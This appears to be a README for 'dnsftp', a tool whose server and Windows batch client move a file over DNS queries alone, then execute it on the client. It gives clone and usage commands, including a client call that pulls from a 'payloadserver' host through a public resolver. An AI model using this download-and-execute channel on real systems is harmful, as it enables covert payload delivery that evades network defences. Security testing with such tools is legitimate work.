dnsftp

Client/Server scripts to transfer files over DNS. Client scripts are small and only use native tools on the host OS.

Purpose

Use only DNS queries to download a file, and then execute it.

Download

git clone https://github.com/breenmachine/dnsftp.git

Usage

On the server hosting the file (tested with python2):

sudo python server.py -f /path/to/file

On the Windows client with a batch script:

client\client_batch\runme.bat payloadserverhostname fileparts publicdnsserver

Example: client\client_batch\runme.bat payloadserver.yourdomain.com 42 8.8.8.8

If just testing internally, you can use the following example:

client\client_batch\runme.bat payloadserverhostname fileparts payloadserverIPaddr
